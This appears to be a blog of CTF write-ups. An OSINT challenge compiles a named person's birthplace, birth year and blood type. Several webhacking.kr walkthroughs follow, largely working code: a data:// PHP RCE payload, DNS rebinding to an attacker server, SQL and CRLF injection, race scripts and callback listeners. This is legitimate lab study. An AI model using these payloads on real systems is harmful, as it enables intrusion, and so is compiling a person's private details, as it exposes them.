Hello Navi

Tech, Security & Personal Notes

Challenge

id22,Osint,9 个递进问题,没有附件。每一问的答案都是下一问的入口,最后一问落到一位从业者的公开自述上。题面要求把 9 个答案按下标顺序用下划线拼接,多词答案去掉空格,血型字母保持大写,日期用 YYYY-MM-DD。难点在第 2 问的影片定位与第 5 到 9 问的公开资料链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
1. Identify the music composer for Outer Wilds.
2. The composer created music for a short film associated with a popular esports game.
In the first minute of the film, a person is seen playing the game as a specific
character. What is the name of the adopted mother of that character?
3. Last year, the composer participated in a music event hosted at a university.
What is the name of the location where the event was held?
4. What is the composer's best fruit?
5. The composer contributed music to a Pokémon episode. Who was the Production
Manager Assistant for that episode?
6. Where was the Production Manager Assistant born, and when?
7. In 2024, the Production Manager Assistant relocated their studio to a new location.
Where did they relocate to?
8. What is the blood type of the Production Manager Assistant?
9. On what date did the Production Manager Assistant mention that his phone slipped
and broke?

Solution

Answers

  1. Andrew Prahlow。Outer Wilds 的作曲者,个人作品页与 Wikipedia 都直接列出。
  2. Shava Konte。短片是 GODLIKE(2016,Mickey Finnegan 导演),第一分钟出现 Riven 的游戏画面,Riven 的养母在 LoL 资料里记为 Shava Konte。
  3. Ackerman Grand Ballroom。2025-05-17 的 Faraway Fantasies 由 UCLA Game Music Ensemble 主办,作曲者本人发过场地更正。
  4. Kumquat。作曲者的原话是 How have i never had a #kumquat before? Aka the best fruit.。
  5. Jun Aoki(青木純),SPACE NEKO COMPANY Ltd.。POKÉTOON 短片 めがはなせないね ガルーラ 片尾字幕的 Production Manager Assistant。
  6. 出生地与年份来自公司简介,按题面示例取 地名+年份。
  7. 东京都武藏野市。公司沿革写 2024年 スタジオ移転(東京都武蔵野市),取 musashino。
  8. 公开个人档案的血液型栏,取单个大写字母。
  9. Ameba 博文 携帯死亡 的 datePublished,按 YYYY-MM-DD 取日期。

Q2 film

作曲者作品页把 GODLIKE / DIR. MICKEY FINNEGAN (LICENSED MUSIC) 列在名下,影片上传标题为 GODLIKE - (An Esports Drama Short Film),时长 1585 秒。第一分钟在约 00:25 与 00:40 出现游戏画面。影片评论里有观众提到 Riven 与 Zed,但评论只作旁证;角色判定来自逐帧查看,Riven 的养母关系在 LoL 资料里明确写为 Shava Konte (Adopted Mother)。

这一问的入口是作曲者,影片名与角色都不在题面里,需要先从作品页反查。

Q3 venue

作曲者在 2025-05-07 发过一条更正:

1
correction: the concert is at the Ackerman Grand Ballroom

Eventbrite 页面与主办方的演出视频都指向 2025-05-17、Faraway Fantasies、UCLA Game Music Ensemble。更正的场地是 Ackerman Grand Ballroom。

Q4 fruit

直接检索作曲者账号里的 best fruit 表述,命中 2015-06-10 的推文:

1
How have i never had a #kumquat before?  Aka the best fruit.

这条是作曲家本人对水果的明确评价。

Assembly

按题面示例的顺序拼接,字段之间用下划线,多词答案去空格:

1
andrewprahlow_<Q2>_<Q3>_<Q4>_junaoki_<Q6>_musashino_<Q8>_<Q9>

Q2 与 Q3 都是多词答案,拼接时去掉空格:shavakonte、ackermangrandballroom。Q6 用 地名 + 年份,与示例 newyork1999 的粒度一致。Q8 保留大写字母。Q9 用带连字符的日期。

Method

资料来源限于公开页面、公开帖文与公开视频:作曲者官网与作品页、X/Twitter 原帖、Eventbrite、YouTube 元数据与片尾帧、公司沿革页、Ameba 档案与博客、Wayback 存档。影片帧用 yt-dlp 取原码流后用 ffmpeg 抽帧查看。

References

  • Andrew Prahlow 作品页: http://www.andrewprahlow.com/credits-1
  • Wikipedia: https://en.wikipedia.org/wiki/Andrew_Prahlow
  • GODLIKE 影片: https://www.youtube.com/watch?v=UyToOv6g2ZE
  • 场地更正: https://x.com/andrewprahlow/status/1919926920428585271
  • Eventbrite: https://www.eventbrite.com/e/faraway-fantasies-tickets-1320623653899
  • 水果推文: https://x.com/andrewprahlow/status/608525883809251328
  • POKÉTOON 作品页: https://colorido.co.jp/works/3132/
  • POKÉTOON 片源: https://www.youtube.com/watch?v=jfNr2Gju2Mk
  • SPACE NEKO 公司沿革: https://www.spaceneko.com/jp/static/about/
  • 青木純 Ameba 档案: https://profile.ameba.jp/ameba/aokijun
  • 手机事故博文: https://ameblo.jp/aokijun/entry-10014009422.html
  • LoL Riven 家庭栏: https://leagueoflegends.fandom.com/wiki/Riven
Securinets{andrewprahlow_shavakonte_ackermangrandballroom_kumquat_junaoki_okinawa1981_musashino_A_2005-12-11}

Challenge

The page takes a url parameter, appends .txt, and includes it after a stack of URL checks.

页面接收 url 参数,追加 .txt 后经过一串 URL 校验再 include。

1
http://webhacking.kr:10009/

Analysis

?view_source=1 直接给出源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if($_GET['view_source']){ highlight_file(__FILE__); exit; }
if($_GET['view_version']){ echo phpversion(); exit; }
if($_GET['ls']){ system("ls -a"); exit; } // to prove for about there is not hidden files in this directory. you dont have to run dirbuster!
if(isset($_GET['url'])){
$url = $_GET['url'].".txt";
if(!filter_var($url, FILTER_VALIDATE_URL)) exit("invalid url");
if(!preg_match("/http:\/\/webhacking.kr:10009\//",$url)) exit("invalid server");
if(preg_match("/@|#|\(|\)|\\$|`|'|\"|_|{|}|\?/",$url)) exit("you are not orange");
if((parse_url($url)['host'] !== "webhacking.kr") || (parse_url($url)['port'] !== 10009)) exit("invalid host or port");
if(parse_url($url)['user'] || parse_url($url)['pass']) exit("you are not orange");
include $url;
}
echo "<hr><a href=./?url=http://webhacking.kr:10009/cat>cat</a> <a href=./?url=http://webhacking.kr:10009/dog>dog</a> <hr><a href=./?view_source=1>view-source</a> <a href=./?view_version=1>view-version</a> <a href=./?ls=1>ls</a>";
?>

页面提供 PHP 版本和目录清单;直接访问 .txt 文件会返回 PHP 源码,通过 url 参数包含同一文件则会执行其中的代码:

1
2
3
4
5
?view_version=1  -> 7.3.8-1+ubuntu18.04.1+deb.sury.org+1
?ls=1 -> . .. cat.txt dog.txt index.php
/cat.txt -> <?php echo "meow meow"; ?>
/dog.txt -> <?php echo "bow wow"; ?>
?url=http://webhacking.kr:10009/cat -> meow meow

meow meow 的回显说明 HTTP stream 可以被 include,即题目环境允许 URL inclusion。校验作用于追加 .txt 后的 $url:

  • filter_var(..., FILTER_VALIDATE_URL) 检查 URL 格式。
  • 第一条正则要求匹配 http://webhacking.kr:10009/,没有锚定字符串开头。
  • 第二条正则禁用 @、#、括号、$、反引号、单双引号、_、花括号和 ?。
  • parse_url() 要求 host 为 webhacking.kr、port 为 10009,且不含 user/pass。

这些检查没有限制 scheme。将 http://webhacking.kr:10009/ 放入 path 仍能满足正则,前面的 authority 则用于通过 parse_url() 检查。最终 include 使用哪个 stream wrapper,由 scheme 决定。

Solution

RFC 2397 定义的 data URL 形式为 data:[<mediatype>][;base64],<data>。PHP 支持 data:// 写法,并接受下面这个包含伪装 authority 的输入:

1
data://webhacking.kr:10009/http://webhacking.kr:10009/,HELLO

追加 .txt 后,filter_var 接受该 URL,第一条正则命中 path 内的 HTTP URL,黑名单没有命中。parse_url() 将其解析为:

1
2
3
4
scheme = data
host = webhacking.kr
port = 10009
path = /http://webhacking.kr:10009/,HELLO.txt

data:// wrapper 将逗号前的部分作为媒体类型信息处理,从逗号后的 data 读取内容,不会向上述 host 发起 HTTP 请求。此时 .txt 已经追加到 data 末尾,所以 include 读取并输出 HELLO.txt。这里利用的是 parse_url() 与 stream wrapper 对同一字符串的不同解释;伪装的 authority 并非 RFC 2397 定义的网络地址。

未使用 ;base64 时,wrapper 会对 data 做一次 URL 解码。将 PHP 代码中的禁用字符写为百分号编码,校验阶段便只会看到 %28、%29、%27、%3F 等文本。请求 query 还会先经过一次解码,因此其中的 % 必须再编码为 %25:%2528 → $_GET['url'] 中的 %28 → wrapper 内容中的 (。

完整 payload 在各阶段的值:

1
2
3
$_GET['url'] = data://webhacking.kr:10009/http://webhacking.kr:10009/,%3C%3Fphp%20system%28%27cat%20/flag%27%29%3B%3F%3E
$url = $_GET['url'] . ".txt"
data 解码后 = <?php system('cat /flag');?>.txt

请求(query 里的 % 再编一次,即 %3C → %253C):

1
2
GET /?url=data%3A%2F%2Fwebhacking.kr%3A10009%2Fhttp%3A%2F%2Fwebhacking.kr%3A10009%2F%2C%253C%253Fphp%2520system%2528%2527cat%2520%2Fflag%2527%2529%253B%253F%253E HTTP/1.1
Host: webhacking.kr:10009

返回:

1
2
FLAG{*****************}
.txt

include 执行解码后的 <?php system('cat /flag');?>,读取 /flag。闭合标签 ?> 使后缀 .txt 位于 PHP 代码之外,作为普通文本输出,因此无需截断后缀。该链依赖 allow_url_fopen 和 allow_url_include 开启,以及 system() 可用。

FLAG{hardcore_from_7.1}

Challenge

The page is a web shell whose front end posts commands to a JSON endpoint.

页面是一个 WebShell,前端把命令发到 JSON endpoint。

1
http://webhacking.kr:10020/

前端脚本把输入发到:

1
fetch("/api.php?q=" + escape(text_));

页面显示提示符 WebShell:/ $,并把响应文本追加到终端。

Analysis

api.php 不直接执行命令,而是先校验 Host,再用 Host 去请求同端口的 /cmd/<q>.txt,最后把该文件的内容当命令执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$cmd = $_GET['q'];
if($cmd){
if(count(explode(":",$_SERVER['HTTP_HOST'])) > 1) $_SERVER['HTTP_HOST'] = explode(":",$_SERVER['HTTP_HOST'])[0];
if(!preg_match("/^[a-z0-9-.]+$/",$_SERVER['HTTP_HOST'])) exit("ahh nice try");
if(($_SERVER['HTTP_HOST'] !== "webhacking.kr") && (gethostbyname($_SERVER['HTTP_HOST']) !== "202.182.106.159")) exit("Something wrong");
sleep(1);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://{$_SERVER['HTTP_HOST']}:10020/cmd/".rawurlencode($cmd).".txt");
$response = curl_exec($ch);
if(HTTP code !== 200) echo HELP;
else system($response);
}
?>

关键点是 Host 被解析两次:gethostbyname() 解析一次做校验,curl 再解析一次取内容,中间还夹着 sleep(1)。这就是 TOCTOU。

现场实测分支:

1
2
3
4
5
Host: webhacking.kr            -> 走 `!==` 短路,校验通过,curl 请求自己 → 命中 /cmd 白名单
Host: WEBHACKING.KR -> ahh nice try(正则只允许小写)
Host: 127.0.0.1 -> Something wrong
Host: evil.example.com -> Something wrong
Host: 202.182.106.159.nip.io -> 校验通过(目标能解析外部域名并解析到 202.182.106.159)

/cmd/ 目录是预置白名单(ls.txt、cat api.php.txt、cat index.php.txt),?q=cat flag.php 会返回 only "ls", "cat api.php", "cat index.php" allowed。

Solution

链条:让 Host 在校验时解析到 202.182.106.159(目标自己),在 curl 请求时解析到攻击者服务器,从而让 http://<Host>:10020/cmd/<q>.txt 返回任意命令文本,被 system() 执行。

Host 必须匹配 /^[a-z0-9-.]+$/,所以使用符合格式的 DNS rebinding 域名。草稿记录 rbndr.us 在该目标上两种 IP 顺序都返回 Something wrong;1u.ms 的 make-<ip1>-rebind-<ip2>-rr.1u.ms 可用。

攻击者侧是一台公网机器,监听 :10020,对任意 /cmd/<q>.txt 返回要执行的命令文本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from http.server import BaseHTTPRequestHandler, HTTPServer

COMMAND = b'cat flag.php; echo "=== id ==="; id'

class Handler(BaseHTTPRequestHandler):
def do_GET(self):
body = COMMAND
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)

HTTPServer(("0.0.0.0", 10020), Handler).serve_forever()

命令文本:

1
cat flag.php; echo "=== id ==="; id

然后反复请求目标,Host 用 rebinding 域名(<attacker-hex> 是攻击者公网 IP 的十六进制):

1
2
GET /api.php?q=ls HTTP/1.1
Host: make-202.182.106.159-rebind-<attacker-hex>-rr.1u.ms

gethostbyname() 拿到 202.182.106.159 时校验通过,curl 拿到攻击者 IP 时就取回我们的命令文本并执行。返回:

1
2
3
4
5
<?php
$flag = "FLAG{***************************************}";
?>
=== id ===
uid=33(www-data) gid=33(www-data) groups=33(www-data)

即 cat flag.php 读出 flag,并确认以 www-data 身份 RCE。

FLAG{sorry-i-forgor-what-server-name-meaning}

Challenge

The mail form puts subject straight into the mail header.

发信表单把 subject 直接放进邮件头。

1
https://webhacking.kr/challenge/bonus-11/

Analysis

表单只有 subject 一个字段,提交后回显 Mail has been sent;收件人固定 no-existed@webhacking.kr,正文含 flag。subject 未净化即进入邮件头,属 SMTP header injection。

实测:

1
2
3
4
subject=plain             -> Mail has been sent(无 flag)
subject=hi\r\nCc: <addr> -> Mail has been sent + flag
subject=hi\nCc: <addr> -> 无 flag(只认 CRLF)
subject=hi\r\nTo: <addr> -> 无 flag

Solution

在 subject 里用 CRLF 注入 Cc::

1
2
POST /challenge/bonus-11/index.php
subject=hi%0d%0aCc:%20<recipient>

本实例上注入成功后响应体直接带回 flag,不需要真收信:

1
<hr>Mail has been sent<hr>FLAG{wasted_too_much_time_damn}
FLAG{wasted_too_much_time_damn}

Challenge

Understand database connection hijacking through upload configuration.

分析通过上传配置劫持数据库连接的机制。

1
http://webhacking.kr:10003/

Analysis

入口每次请求都会分配一个会话专属目录,并把上传的表单指向它:

1
2
Your personal directory is ./upload/<random>/
./upload/<random>/index.php?view_source=1

该目录里预置的 index.php 源码(实测):

1
2
3
4
5
6
7
8
9
<?php
if($_GET['view_source']) highlight_file(__FILE__);
$db = mysqli_connect() or die();
mysqli_select_db($db,"chall30") or die();
$result = mysqli_fetch_array(mysqli_query($db,"select flag from chall30_answer")) or die();
if($result[0]){
include "/flag";
}
?>

无参数 mysqli_connect() 会读取 mysqli.default_host / default_port / default_user / default_pw。原意是用上传的配置覆盖这些值,把连接指向自建 MySQL,让 chall30_answer.flag 非空,从而走进 include "/flag"。

上传行为实测:内容里的 < 会被剥掉,所以落不了带 PHP 标签的 webshell;.php 会被当 PHP 执行但没标签也没用;.htaccess 能上传成功(直接 GET 是 403)。

Solution

不必自建 MySQL:.htaccess 的 php_value 就能改 PHP 配置,其中 auto_prepend_file 会在目录内每个脚本执行前先包含一个文件。把它指向 /flag,该目录的 index.php 一执行就先把 /flag 的内容打出来,mysqli_connect() 成不成功都不影响。

向入口上传 .htaccess(表单字段 upfile,action=index.php):

1
php_value auto_prepend_file /flag

然后请求会话目录的 index.php:

1
GET /upload/<dir>/index.php  ->  FLAG{uhoh-db-connection-hijacking?}

判据:php_value auto_prepend_file /flag 单独放 .htaccess 即可生效;换成 auto_append_file 不生效(脚本在 mysqli_connect() or die() 处就结束了);把 .htaccess 覆盖成注释后 flag 消失,说明确实是 .htaccess 在起作用。

FLAG{uhoh-db-connection-hijacking?}

Challenge

Bypass the phone-number insert with SQL injection.

通过 SQL injection 绕过电话号码写入。

1
https://webhacking.kr/challenge/web-17/

Analysis

?view_source=1 给出源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?>
<html><head><title>Challenge 35</title><head><body>
<form method=get action=index.php>
phone : <input name=phone size=11 style=width:200px><input name=id type=hidden value=guest><input type=submit value='add'>
</form>
<?php
$db = dbconnect();
if($_GET['phone'] && $_GET['id']){
if(preg_match("/\*|\/|=|select|-|#|;/i",$_GET['phone'])) exit("no hack");
if(strlen($_GET['id']) > 5) exit("no hack");
if(preg_match("/admin/i",$_GET['id'])) exit("you are not admin");
mysqli_query($db,"insert into chall35(id,ip,phone) values('{$_GET['id']}','{$_SERVER['REMOTE_ADDR']}',{$_GET['phone']})") or die("query error");
echo "Done<br>";
}
$isAdmin = mysqli_fetch_array(mysqli_query($db,"select ip from chall35 where id='admin' and ip='{$_SERVER['REMOTE_ADDR']}'"));
if($isAdmin['ip'] == $_SERVER['REMOTE_ADDR']){
solve(35);
mysqli_query($db,"delete from chall35");
}
$phone_list = mysqli_query($db,"select * from chall35 where ip='{$_SERVER['REMOTE_ADDR']}'");
echo "<!--\n";
while($r = mysqli_fetch_array($phone_list)){
echo htmlentities($r['id'])." - ".$r['phone']."\n";
}
echo "-->";
?>
<br><a href=?view_source=1>view-source</a></body></html>

phone 直接拼入 VALUES 的第三个字段,外层没有引号。它的过滤规则禁止 * / = select - # ;,但允许单引号、逗号和括号,足以闭合当前元组并追加第二个元组。

GET 参数 id 最多 5 字节,且不能包含 admin(大小写不敏感),因此直接提交 id=admin 会被拒绝。通过 phone 追加的行不经过这项 id 检查。

Solution

保持 id=guest,将 phone 设为 1),('guest2','<REMOTE_ADDR>',1。源码末尾的 ) 补齐第二个元组,拼接后的 SQL 为:

1
insert into chall35(id,ip,phone) values('guest','<REMOTE_ADDR>',1),('guest2','<REMOTE_ADDR>',1)

第二行的 ip 必须与服务端看到的 REMOTE_ADDR 一致。可先将当前请求出口的公网 IP 作为候选值;经过代理或 NAT 时,候选值应取实际出口地址。页面末尾的 HTML 注释仅列出 ip 匹配当前 REMOTE_ADDR 的记录,可以用 guest2 行检查候选值。该探测会写入数据库。

以下为解码后的 query 参数,<candidate-ip> 需替换为候选地址;发送请求时对参数值进行 URL encoding:

1
2
id=guest
phone=1),('guest2','<candidate-ip>',1

历史实测响应中的 HTML 注释为:

1
2
3
4
5
<!--
guest - 1
guest - 1
guest2 - 1
-->

本次插入的 guest2 出现在注释中,说明多值 INSERT 生效,且候选地址与当前请求的 REMOTE_ADDR 匹配。仅返回 Done 只能说明 SQL 执行成功,无法证明地址匹配;若已有同名记录,应换用新的探测标识,避免把旧行当作本次结果。后续请求需保持相同出口地址。

将第二行的 id 改为 admin,并填入已确认的地址:

1
2
id=guest
phone=1),('admin','<REMOTE_ADDR>',1

根据源码,该行会使 select ip from chall35 where id='admin' and ip='<REMOTE_ADDR>' 命中,随后调用 solve(35),再尝试执行 delete from chall35。删除语句没有 WHERE 条件,作用范围是整张表;源码未检查删除是否成功。这里的 admin 只出现在 phone 中,未命中该参数的过滤规则。

Challenge

The page is a web shell whose front end posts commands to a JSON endpoint.

页面是一个 WebShell,前端把命令发到 JSON endpoint。

1
http://webhacking.kr:10019/

前端脚本把输入发到:

1
fetch("/api.php?q=" + escape(text_))

页面显示提示符 WebShell:/ $,并把响应文本追加到终端。

Analysis

api.php 每次都把命令写进按 cookie 命名的脚本文件,而且先写文件、后校验:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
if(!preg_match('/^[a-f0-9]+$/', $_COOKIE['baby_toctou'])){
$newCookie = uniqid().rand(1,999999999);
setcookie("baby_toctou", $newCookie);
$_COOKIE['baby_toctou'] = $newCookie;
}
$cmd = $_GET['q'];
$myfile = fopen("user/{$_COOKIE['baby_toctou']}.sh", "w") or die("Unable to open file!");
fwrite($myfile, $cmd);
fclose($myfile);
if(($cmd === "ls") || ($cmd === "cat api.php") || ($cmd === "cat index.php")){ // valid check
sleep(1); // my server is small and weak
system("sh ./user/{$_COOKIE['baby_toctou']}.sh");
}
else{
echo 'only "ls", "cat api.php", "cat index.php" allowed';
}
?>

fwrite() 在校验之前执行,system() 在校验之后、并且隔着 sleep(1)。这 1 秒就是 TOCTOU 窗口:先发一个通过校验的请求,再在窗口内用同一个 cookie 发第二个被拒绝的请求覆写脚本文件,第一个请求醒来后执行的是第二个请求写进去的内容。

cookie 只需要满足 /^[a-f0-9]+$/,所以可以自己指定一个纯十六进制值固定住文件名,不必等 setcookie 分配。

Solution

两个请求必须共用同一个 baby_toctou cookie:第一个是校验通过的 q=ls,第二个在窗口内写 payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python3
import threading
import time

import requests

URL = "http://webhacking.kr:10019/api.php"
COOKIES = {"baby_toctou": "abc123abc123abc"}
PAYLOAD = "cat flag.php"

result = {}


def checked_request() -> None:
"""校验通过的那一发:写 ls、睡 1 秒、然后执行 user/<cookie>.sh。"""
response = requests.get(URL, params={"q": "ls"}, cookies=COOKIES, timeout=25)
result["out"] = response.text


def main() -> None:
worker = threading.Thread(target=checked_request)
worker.start()
time.sleep(0.25) # 落在 sleep(1) 窗口内
requests.get(URL, params={"q": PAYLOAD}, cookies=COOKIES, timeout=25)
worker.join()
print(result["out"])


if __name__ == "__main__":
main()

q=ls 那一发的响应里,system() 的输出已经被换成了 payload 的执行结果:

1
2
3
<?php
$flag = "FLAG{Mama_i_know_how_toctou_works}";
?>

payload 请求的响应是 only "ls", "cat api.php", "cat index.php" allowed,因为该请求只覆写文件,不执行命令。

复现边界:api.php 源码、白名单、写文件顺序、sleep(1) 窗口与 flag 均为现网实测;窗口是 1 秒,本机到该节点延迟约 40 ms,0.25 秒偏移一次命中,网络抖动时可在 0.1–0.6 秒之间重试。

FLAG{Mama_i_know_how_toctou_works}

Challenge

The page collects nine KEY{<32-hex>} values and renders a flag image.

页面收集九个 KEY{<32-hex>} 值,并渲染一张 flag 图片。

1
http://webhacking.kr:10022/

页面标题是 Get 4XX for flag,表单字段为 key1 到 key9,每个字段的客户端 pattern 是 KEY\{([0-9]|[a-f]){32}\},页面引用 /img/flag.png。9 个 key 全部正确时表单返回 Your score : 9,并打印 FLAG is flag{<value>};提交顺序不影响计分(正序与逆序都是 9 分)。

Solution

key 由 HTTP 4xx 状态码发放:任何让 Apache 返回 4xx 的请求都会在响应体里给出该状态码对应的 key,格式是 4XX Error!<br> your key : <key-value>。同一状态码的 key 固定不变,所以凑齐 9 个不同的 4xx 状态码就能得到全部 9 个 key。

实测的状态码、触发请求与对应 key:

  • 400:发送包含 9 KB X-Big 请求头的请求,得到 KEY{10fac9b9f4112a1d9a650fec275bf164}。
  • 403:访问禁止列目录的 /img/,得到 KEY{cd79de80772c1873bcf63e41e3379c6f}。
  • 404:访问不存在的路径,得到 KEY{23c0b3a9ccc44b72f17a99eadb351d2f}。
  • 405:发送 TRACE /,得到 KEY{e5602408f2037c05bbbb0995fec6bc58}。
  • 408:发送请求行和 Host 后保持连接,不补完请求头,得到 KEY{e44fa3e1865a3839cbc0b658f1ae08cf}。
  • 412:请求静态文件 /img/flag.png 并设置 If-Match: "nope",得到 KEY{cd7609461c0dbe41a9137056fa4085e2}。
  • 414:发送约 30 KB 的超长请求路径,得到 KEY{d1617527ac2143863bc347c6123ed921}。
  • 416:设置 Range: bytes=999999999-,得到 KEY{622eced9aa42670c10ee74d29e58e5eb}。
  • 417:发送 POST / 并设置 Expect: foo,得到 KEY{ed2dd6cb38fe6a4a10e46d22d20047e6}。

Apache 负责生成这些 4xx 响应。405 需要使用不被允许的 method。412 依赖带 ETag 的静态文件;对 / 设置 If-Match 返回 200。417 要求 Expect 值不是 100-continue,后者会返回 100 Continue 并继续正常请求。408 需要原始 socket 在发送部分请求头后保持连接。Apache 2.4.29 对超长 header 返回 400,不产生 431。

收集脚本(原始 socket,因为 408 需要在发完部分请求头后等待):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/env python3
import re
import socket

HOST, PORT = "webhacking.kr", 10022
H = b"Host: webhacking.kr:10022\r\n"

REQUESTS = {
400: b"GET / HTTP/1.1\r\n" + H + b"X-Big: " + b"A" * 9000 + b"\r\n\r\n",
403: b"GET /img/ HTTP/1.1\r\n" + H + b"\r\n",
404: b"GET /definitely-not-here HTTP/1.1\r\n" + H + b"\r\n",
405: b"TRACE / HTTP/1.1\r\n" + H + b"\r\n",
408: b"GET / HTTP/1.1\r\n" + H, # 不补完请求头
412: b"GET /img/flag.png HTTP/1.1\r\n" + H + b'If-Match: "nope"\r\n\r\n',
414: b"GET /" + b"a" * 30000 + b" HTTP/1.1\r\n" + H + b"\r\n",
416: b"GET / HTTP/1.1\r\n" + H + b"Range: bytes=999999999-\r\n\r\n",
417: b"POST / HTTP/1.1\r\n" + H + b"Content-Length: 5\r\nExpect: foo\r\n\r\n",
}


def fetch(status: int, raw: bytes, wait: float = 4.0) -> str:
sock = socket.create_connection((HOST, PORT), timeout=wait + 8)
sock.sendall(raw)
sock.settimeout(wait)
data = b""
try:
while len(data) < 8000:
chunk = sock.recv(4096)
if not chunk:
break
data += chunk
except socket.timeout:
pass
sock.close()
body = data.decode("utf-8", "replace")
match = re.search(r"KEY\{[0-9a-f]{32}\}", body)
if not match:
raise RuntimeError(f"{status}: no key in response")
return match.group(0)


def main() -> None:
keys = {status: fetch(status, raw) for status, raw in REQUESTS.items()}
for status, key in sorted(keys.items()):
print(status, key)
query = "&".join(f"key{i}={key}" for i, key in enumerate(keys.values(), 1))
print(f"http://webhacking.kr:10022/?{query}")


if __name__ == "__main__":
main()

复现边界:入口、9 个状态码、9 个 key 值、Your score : 9 与 flag 回执均为现网实测;408 依赖服务端超时、412 依赖静态文件的 ETag,若实例的 Apache 配置变化需重新确认触发方式。

flag{iViZGYM7K5I}

Challenge

Redirect the flag-bearing request from the server to a listener under your control.

将携带 flag 的服务端请求重定向到可控的监听端点。

1
https://webhacking.kr/challenge/web-18/

Solution

服务端先创建 tmp/tmp-<time>,写入 127.0.0.1,再根据上传文件名创建同名文件并写入客户端地址。随后服务端从 tmp/tmp-<time> 读取 host,并把 flag 放入请求路径发送到该 host 的 7777 端口。

上传文件名需要与服务端当前秒生成的 tmp/tmp-<time> 对齐,覆盖发生在服务端读取 host 之前。上传请求和监听器应使用同一公网可达地址;监听 7777 后,接收到的请求路径包含 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python3
import time

import requests

URL = "https://webhacking.kr/challenge/web-18/"
COOKIE = "<mission-cookie>"


def main() -> None:
session = requests.Session()
session.cookies.set("PHPSESSID", COOKIE)
timestamp = int(time.time())

# 服务端按秒生成 tmp/tmp-<time>,尝试当前秒及相邻秒。
# 上传文件的内容无关紧要;服务端把请求方的 REMOTE_ADDR 写入该文件。
for offset in range(-2, 4):
filename = f"tmp-{timestamp + offset}"
response = session.post(
URL,
files={"upfile": (filename, b"probe", "application/octet-stream")},
timeout=10,
)
response.raise_for_status()


if __name__ == "__main__":
main()

题目服务端不会读取上传内容,而是把它看到的 REMOTE_ADDR 写入临时文件。因此监听端点必须是题目服务端可访问的地址;常见做法是在路由器上把公网 7777 端口转发到本机,并从公网可达环境发起请求。仅在本机监听 127.0.0.1:7777 不足以完成利用。

1
$ nc -nvlp 7777

Host 头取自服务端读取的临时文件,flag 位于请求路径中。

FLAG{well...is_it_funny?_i_dont_think_so...}

Challenge

Receive the callback sent to one port in the range 10000–10100.

接收服务端发送到 10000–10100 端口范围内某个端口的回连请求。

1
https://webhacking.kr/challenge/web-16/

Solution

题目服务端会在 10000 到 10100 之间选择端口,并尝试连接 server 参数指定的主机。当前 live source 明确要求访问 ?server=<listener-host>;只刷新无参数 URL 只会得到 Undefined index: server,不会触发有效回连。

题目会从 10000–10100 中选择一个端口,因此监听端点需要同时占用整个范围。下面的脚本只负责监听授权题目产生的回连,不主动向题目服务发起额外请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python3
import socket
import threading

HOST = "0.0.0.0"
PORT_START = 10000
PORT_END = 10100


def listen(port: int) -> None:
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
server.bind((HOST, port))
server.listen(1)
client, address = server.accept()
with client:
data = client.recv(4096)
print(f"port={port} peer={address}")
print(data.decode("utf-8", errors="replace"))
except OSError as exc:
print(f"port={port} error={exc}")
finally:
server.close()


def main() -> None:
threads = []
for port in range(PORT_START, PORT_END + 1):
thread = threading.Thread(target=listen, args=(port,), daemon=True)
thread.start()
threads.append(thread)

for thread in threads:
thread.join()


if __name__ == "__main__":
main()

监听整个端口范围后,在浏览器或 HTTP 客户端访问 ?server=<listener-host>。<listener-host> 必须是题目服务器可以连接到的地址。回连请求的路径包含题目 flag

FLAG{i_have_a_big_and_beautiful_server}